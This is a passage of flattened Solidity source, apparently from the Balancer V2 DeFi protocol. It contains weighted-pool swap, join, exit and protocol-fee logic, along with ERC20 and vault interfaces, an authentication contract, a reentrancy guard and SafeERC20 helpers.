_normalizedWeight1 = normalizedWeights.length > 1 ? normalizedWeights[1] : 0; _normalizedWeight2 = normalizedWeights.length > 2 ? normalizedWeights[2] : 0; _normalizedWeight3 = normalizedWeights.length > 3 ? normalizedWeights[3] : 0; _normalizedWeight4 = normalizedWeights.length > 4 ? normalizedWeights[4] : 0; _normalizedWeight5 = normalizedWeights.length > 5 ? normalizedWeights[5] : 0; _normalizedWeight6 = normalizedWeights.length > 6 ? normalizedWeights[6] : 0; _normalizedWeight7 = normalizedWeights.length > 7 ? normalizedWeights[7] : 0; } function _normalizedWeight(IERC20 token) internal view virtual returns (uint256) { // prettier-ignore if (token == _token0) { return _normalizedWeight0; } else if (token == _token1) { return _normalizedWeight1; } else if (token == _token2) { return _normalizedWeight2; } else if (token == _token3) { return _normalizedWeight3; } else if (token == _token4) { return _normalizedWeight4; } else if (token == _token5) { return _normalizedWeight5; } else if (token == _token6) { return _normalizedWeight6; } else if (token == _token7) { return _normalizedWeight7; } else { _revert(Errors.INVALID_TOKEN); } } function _normalizedWeights() internal view virtual returns (uint256[] memory) { uint256 totalTokens = _getTotalTokens(); uint256[] memory normalizedWeights = new uint256[](totalTokens); // prettier-ignore { if (totalTokens > 0) { normalizedWeights[0] = _normalizedWeight0; } else { return normalizedWeights; } if (totalTokens > 1) { normalizedWeights[1] = _normalizedWeight1; } else { return normalizedWeights; } if (totalTokens > 2) { normalizedWeights[2] = _normalizedWeight2; } else { return normalizedWeights; } if (totalTokens > 3) { normalizedWeights[3] = _normalizedWeight3; } else { return normalizedWeights; } if (totalTokens > 4) { normalizedWeights[4] = _normalizedWeight4; } else { return normalizedWeights; } if (totalTokens > 5) { normalizedWeights[5] = _normalizedWeight5; } else { return normalizedWeights; } if (totalTokens > 6) { normalizedWeights[6] = _normalizedWeight6; } else { return normalizedWeights; } if (totalTokens > 7) { normalizedWeights[7] = _normalizedWeight7; } else { return normalizedWeights; } } return normalizedWeights; } function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function getNormalizedWeights() external view returns (uint256[] memory) { return _normalizedWeights(); } // Base Pool handlers // Swap function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) internal view virtual override whenNotPaused returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, _normalizedWeight(swapRequest.tokenIn), currentBalanceTokenOut, _normalizedWeight(swapRequest.tokenOut), swapRequest.amount ); } // Initialize function _onInitializePool( bytes32, address, address, bytes memory userData ) internal virtual override whenNotPaused returns (uint256, uint256[] memory) { // It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent // initialization in this case. WeightedPool.JoinKind kind = userData.joinKind(); _require(kind == WeightedPool.JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256[] memory normalizedWeights = _normalizedWeights(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens()); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } // Join function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override whenNotPaused returns ( uint256, uint256[] memory, uint256[] memory ) { // All joins are disabled while the contract is paused. uint256[] memory normalizedWeights = _normalizedWeights(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { JoinKind kind = userData.joinKind(); if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData); } else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length); _upscaleArray(amountsIn, _scalingFactors()); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), _swapFeePercentage ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](_getTotalTokens()); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), _swapFeePercentage ); return (bptAmountOut, amountsIn); } // Exit function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) internal virtual override returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. uint256[] memory normalizedWeights = _normalizedWeights(); if (_isNotPaused()) { // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and // reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { ExitKind kind = userData.exitKind(); if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](_getTotalTokens()); // And then assign the result to the selected token amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), _swapFeePercentage ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens()); _upscaleArray(amountsOut, _scalingFactors()); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), _swapFeePercentage ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[_maxWeightTokenIndex], normalizedWeights[_maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All * amounts are expected to be upscaled. */ function _invariantAfterJoin( uint256[] memory balances, uint256[] memory amountsIn, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsIn, FixedPoint.add); return WeightedMath._calculateInvariant(normalizedWeights, balances); } function _invariantAfterExit( uint256[] memory balances, uint256[] memory amountsOut, uint256[] memory normalizedWeights ) private view returns (uint256) { _mutateAmounts(balances, amountsOut, FixedPoint.sub); return WeightedMath._calculateInvariant(normalizedWeights, balances); } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { toMutate[i] = mutation(toMutate[i], arguments[i]); } } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../../lib/openzeppelin/IERC20.sol"; /** * @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support * sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals. */ interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // Inspired by Aave Protocol's IFlashLoanReceiver. import "../../lib/openzeppelin/IERC20.sol"; interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../lib/openzeppelin/IERC20.sol"; import "../lib/helpers/InputHelpers.sol"; import "../lib/helpers/Authentication.sol"; import "../lib/openzeppelin/ReentrancyGuard.sol"; import "../lib/openzeppelin/SafeERC20.sol"; import "./interfaces/IVault.sol"; import "./interfaces/IAuthorizer.sol"; /** * @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the * Vault performs to reduce its overall bytecode size. * * The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are * sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated * to the Vault's own authorizer. */ contract ProtocolFeesCollector is Authentication, ReentrancyGuard { using SafeERC20 for IERC20; // Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%). uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50% uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1% IVault public immutable vault; // All fee percentages are 18-decimal fixed point numbers. // The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not // actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due // when users join and exit them. uint256 private _swapFeePercentage; // The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent. uint256 private _flashLoanFeePercentage; event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); constructor(IVault _vault) // The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action // identifiers. Authentication(bytes32(uint256(address(this)))) { vault = _vault; } function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external nonReentrant authenticate { InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length); for (uint256 i = 0; i < tokens.length; ++i) { IERC20 token = tokens[i]; uint256 amount = amounts[i]; token.safeTransfer(recipient, amount); } } function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate { _require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH); _swapFeePercentage = newSwapFeePercentage; emit SwapFeePercentageChanged(newSwapFeePercentage); } function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate { _require( newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE, Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH ); _flashLoanFeePercentage = newFlashLoanFeePercentage; emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage); } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } function getFlashLoanFeePercentage() external view returns (uint256) { return _flashLoanFeePercentage; } function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) { feeAmounts = new uint256[](tokens.length); for (uint256 i = 0; i < tokens.length; ++i) { feeAmounts[i] = tokens[i].balanceOf(address(this)); } } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { return _getAuthorizer().canPerform(actionId, account, address(this)); } function _getAuthorizer() internal view returns (IAuthorizer) { return vault.getAuthorizer(); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "../openzeppelin/IERC20.sol"; import "./BalancerErrors.sol"; import "../../vault/interfaces/IAsset.sol"; library InputHelpers { function ensureInputLengthMatch(uint256 a, uint256 b) internal pure { _require(a == b, Errors.INPUT_LENGTH_MISMATCH); } function ensureInputLengthMatch( uint256 a, uint256 b, uint256 c ) internal pure { _require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH); } function ensureArrayIsSorted(IAsset[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(IERC20[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(address[] memory array) internal pure { if (array.length < 2) { return; } address previous = array[0]; for (uint256 i = 1; i < array.length; ++i) { address current = array[i]; _require(previous < current, Errors.UNSORTED_ARRAY); previous = current; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./IAuthentication.sol"; /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; // Based on the ReentrancyGuard library from OpenZeppelin contracts, altered to reduce bytecode size. // Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using // private functions, we achieve the same end result with slightly higher runtime gas costs but reduced bytecode size. /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _enterNonReentrant(); _; _exitNonReentrant(); } function _enterNonReentrant() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED _require(_status != _ENTERED, Errors.REENTRANCY); // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _exitNonReentrant() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * * WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert. */ function _callOptionalReturn(address token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. (bool success, bytes memory returndata) = token.call(data); // If the low-level call didn't succeed we return whatever was returned from it. assembly { if eq(success, 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } // Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs _require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify 